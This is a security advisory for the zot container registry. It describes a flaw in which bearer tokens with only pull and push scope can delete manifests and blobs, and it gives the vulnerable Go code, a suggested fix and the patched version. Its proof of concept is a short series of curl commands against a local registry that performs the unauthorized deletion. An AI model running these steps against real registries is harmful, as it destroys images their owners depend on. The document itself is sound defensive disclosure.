GHSA-qg67-7m6v-qg25
zot: Bearer authentication maps DELETE to push scope, allowing unauthorized deletion
Quick fix
GHSA-qg67-7m6v-qg25 — zotregistry.dev/zot/v2: upgrade to the fixed version with the command below.
go get zotregistry.dev/zot/v2@v2.1.18Details
### Summary
A bearer token with only `pull` and `push` scopes can successfully delete manifests and blobs from a zot registry. The bearer authentication handler maps all non-GET/HEAD HTTP methods, including DELETE, to the `"push"` action, and the `DistSpecAuthzHandler` middleware is bypassed entirely for bearer-authenticated requests. This allows any client holding a push-only bearer token to delete arbitrary manifests and blobs within the token's repository scope, in violation of the [Docker Distribution Token Authentication Specification](https://distribution.github.io/distribution/spec/auth/scope/).
### Details
The vulnerability exists in two interacting components:
**1. Action Mapping Collapse (`pkg/api/authn.go:571–586`)**
The bearer authentication handler maps HTTP methods to token scope actions using a binary check:
```go action := "pull" if m := request.Method; m != http.MethodGet && m != http.MethodHead { action = "push" } ```
This collapses DELETE, PUT, PATCH, and POST into a single `"push"` action. The `"delete"` action is never assigned.
**2. Authorization Bypass for Bearer Auth (`pkg/api/authz.go:270–275, 318–323`)**
When a request is authenticated via bearer token, the `DistSpecAuthzHandler` middleware, which performs fine-grained action inference (distinguishing `create`, `read`, `update`, and `delete`) is bypassed entirely:
```go if err != nil || (authnMwCtx != nil && authnMwCtx.AuthnType == BEARER) { next.ServeHTTP(response, request) return } ```
**3. No Handler-Level Authorization Check**
Neither `DeleteManifest` (`routes.go:799–884`) nor `DeleteBlob` (`routes.go:1192–1241`) performs an independent authorization check for delete permission before executing the deletion.
**Deviation from Specification and Reference Implementation**
The [[Docker Distribution Token Scope Documentation](https://distribution.github.io/distribution/spec/auth/scope/)](https://distribution.github.io/distribution/spec/auth/scope/) defines `delete` as a distinct action separate from `push`. The reference implementation ([[distribution/distribution](https://github.com/distribution/distribution/blob/main/registry/handlers/app.go)](https://github.com/distribution/distribution/blob/main/registry/handlers/app.go)) correctly maps DELETE requests to the `"delete"` action:
```go case http.MethodDelete: records = append(records, auth.Access{ Resource: resource, Action: "delete", }) ```
Furthermore, zot's own native access-control configuration explicitly distinguishes `delete` as a separate permission from `create` and `update`, confirming the project's intent that delete is a distinct authorization action.
**Suggested Fix**
In `pkg/api/authn.go`, the action mapping should distinguish DELETE:
```go action := "pull" switch { case m == http.MethodGet || m == http.MethodHead: action = "pull" case m == http.MethodDelete: action = "delete" default: action = "push" } ```
The `DistSpecAuthzHandler` bypass for bearer-authenticated requests (`authz.go:270–275`) should also be reconsidered to ensure bearer-authenticated requests receive equivalently granular authorization checks.
### PoC
**Prerequisites:** zot v2.1.15 with bearer authentication enabled, and a token server issuing JWTs with `actions: ["pull", "push"]` (no `"delete"`).
**Steps to Reproduce:**
1. Configure zot with bearer authentication pointing to a token server 2. Obtain a bearer token with scope `repository:poc-test:pull,push` (no delete) 3. Upload a config blob: ```bash curl -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/octet-stream" \ -X POST "http://127.0.0.1:5001/v2/poc-test/blobs/uploads/?digest=sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a" \ -d '{}' # → 201 Created ``` 4. Push a manifest tagged `v1.0` (succeeds token has push): ```bash curl -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/vnd.oci.image.manifest.v1+json" \ -X PUT "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0" \ -d '{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.oci.image.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}' # → 201 Created ``` 5. DELETE the manifest with the same push-only token (**should return 401, but returns 202**): ```bash curl -H "Authorization: Bearer $TOKEN" \ -X DELETE "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0" # → 202 Accepted (VULNERABLE) ``` 6. Confirm the manifest is gone: ```bash curl -o /dev/null -w "%{http_code}" -H "Authorization: Bearer $TOKEN" \ "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0" # → 404 Not Found ```
**Expected behavior:** Step 5 should return `401 Unauthorized` with a `WWW-Authenticate` header requesting `scope="repository:poc-test:delete"`.
**Actual behavior:** Step 5 returns `202 Accepted` and the manifest is permanently deleted.
A complete reproducer (minimal Go token server + zot config + automated script) is available upon request.
### Impact
**Privilege Escalation / Unauthorized Deletion** Any bearer token with push scope can delete manifests and blobs, even when the token was explicitly issued without delete permissions.
This is particularly impactful in CI/CD environments where automated systems are issued least-privilege tokens with only pull and push permissions. A compromised or stolen CI token which should only be able to build and push images can be used to:
- Delete arbitrary manifests (tags) within any repository covered by the token's scope - Delete arbitrary blobs within those repositories - Render production container images unpullable - Rewrite image history by removing specific tags
Are you affected?
Enter the version of the package you're using.
Affected packages
References
- https://github.com/project-zot/zot/security/advisories/GHSA-qg67-7m6v-qg25[WEB]
- https://github.com/project-zot/zot/pull/4161[WEB]
- https://github.com/project-zot/zot/commit/7bb211bcd4352b90f3e99752607fbd1f050bf7ca[WEB]
- https://github.com/project-zot/zot[PACKAGE]
- https://github.com/project-zot/zot/releases/tag/v2.1.18[WEB]